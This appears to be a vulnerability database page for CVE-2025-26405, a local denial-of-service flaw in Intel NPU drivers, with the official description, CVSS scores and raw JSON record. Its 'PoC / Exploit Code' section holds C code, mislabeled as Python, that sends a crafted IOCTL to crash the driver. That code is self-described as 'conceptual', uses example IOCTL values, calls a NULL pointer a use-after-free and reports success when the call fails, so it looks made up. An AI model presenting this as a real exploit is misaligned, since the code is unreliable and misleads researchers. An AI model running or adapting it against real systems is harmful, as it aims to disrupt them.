Security Vulnerability Report
中文
CVE-2025-26405 CVSS 5.9 MEDIUM

CVE-2025-26405

Published: 2025-11-11 17:15:45
Last Modified: 2026-04-15 00:35:42

Description

Improper control of dynamically-managed code resources for some Intel(R) NPU Drivers within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires passive user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Intel NPU Driver < 特定版本(需参考Intel SA-01304官方公告获取确切版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-26405 PoC - Intel NPU Driver Local DoS // This is a conceptual PoC demonstrating the attack vector // Note: Actual exploitation requires specific conditions and Intel NPU hardware #include <windows.h> #include <stdio.h> // Intel NPU Driver IOCTL codes (example) #define IOCTL_NPU_BASE 0x9B400000 #define IOCTL_NPU_MANAGE_RESOURCE (IOCTL_NPU_BASE + 0x100) typedef struct { DWORD resource_type; DWORD operation; PVOID resource_ptr; SIZE_T size; } NPU_RESOURCE_REQUEST; int main() { HANDLE hDevice; DWORD bytesReturned = 0; NPU_RESOURCE_REQUEST req; // Open Intel NPU driver handle hDevice = CreateFile( "\\\\.\\IntelNPU", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open NPU device. Error: %d\n", GetLastError()); return 1; } printf("[+] NPU device opened successfully\n"); // Trigger the vulnerability by manipulating dynamic code resources memset(&req, 0, sizeof(req)); req.resource_type = 0x01; // Dynamic code resource type req.operation = 0x03; // Trigger resource cleanup req.resource_ptr = NULL; // Invalid pointer to trigger UAF req.size = 0x1000; // Send malicious IOCTL request BOOL result = DeviceIoControl( hDevice, IOCTL_NPU_MANAGE_RESOURCE, &req, sizeof(req), NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] Malicious request sent\n"); } else { printf("[+] DoS condition triggered (IOCTL failed as expected)\n"); } CloseHandle(hDevice); return 0; } // Mitigation: Apply Intel NPU driver update from Intel SA-01304 advisory

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-26405", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:44.733", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper control of dynamically-managed code resources for some Intel(R) NPU Drivers within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires passive user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-913"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01304.html", "source": "[email protected]"}]}}